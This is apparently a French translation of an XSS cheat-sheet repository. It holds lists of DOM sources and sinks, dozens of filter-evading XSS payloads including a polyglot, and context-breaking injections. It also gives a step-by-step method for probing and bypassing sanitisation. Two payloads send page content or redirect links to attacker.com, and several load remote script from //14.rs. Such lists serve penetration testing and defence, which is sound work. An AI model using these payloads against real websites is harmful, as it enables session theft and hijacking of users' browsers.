
Trucs XSS géniaux
Ce dépôt est une collection de ressources XSS géniales. Les contributions sont les bienvenues et doivent être soumises via une issue.
Une belle carte mentale XSS de Jack Masa, ici
VulnerableNot vulnerableSource : Une entrée qui pourrait être contrôlée par une source externe (non fiable).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink : Une méthode potentiellement dangereuse qui pourrait mener à une vulnérabilité. Dans ce cas, une XSS basée sur le DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Cette liste complète de sinks et de sources est tirée de domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Voici un polyglotte XSS que j'ai créé et qui peut sortir de plus de 20 contextes :
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Explication de son fonctionnement, ici
Quelques gestionnaires d'événements moins détectés
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Quelques balises HTML que vous utiliserez
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Cas : <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Cas : <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Cas : <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Oui, confirm parce que alert est trop mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Si rien de tout cela ne fonctionne, jetez un œil à la section Contournement.
Tout d'abord, entrez une chaîne non malveillante comme d3v et examinez le code source pour vous faire une idée du nombre et des contextes de réflexion.
Pour le contexte d'attribut, vérifiez si les guillemets doubles (") sont filtrés en entrant x"d3v. S'ils sont transformés en x"d3v, il y a de fortes chances que la sortie soit correctement échappée. Si c'est le cas, essayez de faire de même avec les guillemets simples (') en entrant x'd3v ; s'ils sont transformés en x', vous êtes fichu. La seule chose que vous pouvez essayer est l'encodage.
Si les guillemets ne sont pas filtrés, vous pouvez simplement essayer les payloads de la section Rupture de contexte.
Pour le contexte JavaScript, vérifiez quels guillemets sont utilisés. Par exemple, s'ils font :
variable = 'value' or variable = "value"
Disons maintenant que des guillemets simples (') sont utilisés ; dans ce cas, entrez x'd3v. S'ils sont transformés en x\'d3v, essayez d'échapper l'antislash () en ajoutant un antislash à votre sonde, c'est-à-dire x\'d3v. Si cela fonctionne, utilisez le payload suivant :
\'-alert()//
Mais s'ils sont transformés en x\\\'d3v, la seule chose que vous pouvez essayer est de fermer la balise script elle-même en utilisant :
</script><svg onload=alert()>
Pour un contexte HTML simple, la sonde est x<d3v. Si elle est transformée en x>d3v, un bon assainissement est en place. Si elle est reflétée telle quelle, vous pouvez entrer une balise factice pour vérifier les filtres potentiels. La balise factice que j'aime utiliser est x<xxx>. Si elle est supprimée ou modifiée d'une manière ou d'une autre, cela signifie que le filtre recherche une paire de < et >. Le filtre peut simplement être contourné en utilisant :
<svg onload=alert()//
ou ceci (cela ne fonctionnera pas dans tous les cas)
<svg onload=alert()
Si vos balises factices se retrouvent telles quelles dans le code source, utilisez l'un de ces payloads :
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Remarque : Aucun de ces payloads n'utilise de guillemets simples (') ni de guillemets doubles (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s):// peut être raccourci en // ou /\\ ou \\.document.cookie peut être raccourci en cookie. Cela s'applique également aux autres objets DOM.alert('XSS') et commencez à écrire alert().// pour fermer une balise au lieu de >.confirm est la fonction de pop-up la moins détectée, alors arrêtez d'utiliser alert.<script src=//14.rs> au lieu de .Tous les payloads sont conçus par moi, sauf mention contraire.
| HTML | Char | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | guillemet | u+0022 | \0022 | \42 | %22 |
# | # | # | signe dièse | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | signe dollar | u+0024 | \0024 | \44 | %24 |
% | % | % | signe pourcent | u+0025 | \0025 | \45 | %25 |
& | & | & | esperluette | u+0026 | \0026 | \46 | %26 |
' | ' | ' | apostrophe | u+0027 | \0027 | \47 | %27 |
( | ( | ( | parenthèse gauche | u+0028 | \0028 | \50 | %28 |
) | ) | ) | parenthèse droite | u+0029 | \0029 | \51 | %29 |
* | * | * | astérisque | u+002A | \002a | \52 | %2A |
+ | + | + | signe plus | u+002B | \002b | \53 | %2B |
, | , | , | virgule | u+002C | \002c | \54 | %2C |
− | - | - | trait d'union-moins | u+002D | \002d | \55 | %2D |
. | . | . | point | u+002E | \002e | \56 | %2E |
/ | / | / | solidus ; barre oblique | u+002F | \002f | \57 | %2F |
: | : | : | deux-points | u+003A | \003a | \72 | %3A |
; | ; | ; | point-virgule | u+003B | \003b | \73 | %3B |
< | < | < | signe inférieur | u+003C | \003c | \74 | %3C |
= | = | = | signe égal | u+003D | \003d | \75 | %3D |
> | > | > | signe supérieur | u+003E | \003e | \76 | %3E |
? | ? | ? | point d'interrogation | u+003F | \003f | \77 | %3F |
@ | @ | @ | arobase | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | crochet gauche | u+005B | \005b | \133 | %5B |
\ | \ | \ | antislash | u+005C | \005c | \134 | %5C |
] | ] | ] | crochet droit | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | accent circonflexe | u+005E | \005e | \136 | %5E |
_ | _ | _ | trait bas | u+005F | \005f | \137 | %5F |
` | ` | ` | accent grave | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | accolade gauche | u+007b | \007b | \173 | %7b |
| | | | | | barre verticale | u+007c | \007c | \174 | %7c |
} | } | } | accolade droite | u+007d | \007d | \175 | %7d |
<script src="//14.rs"><script src=//14.rs> (19 caractères).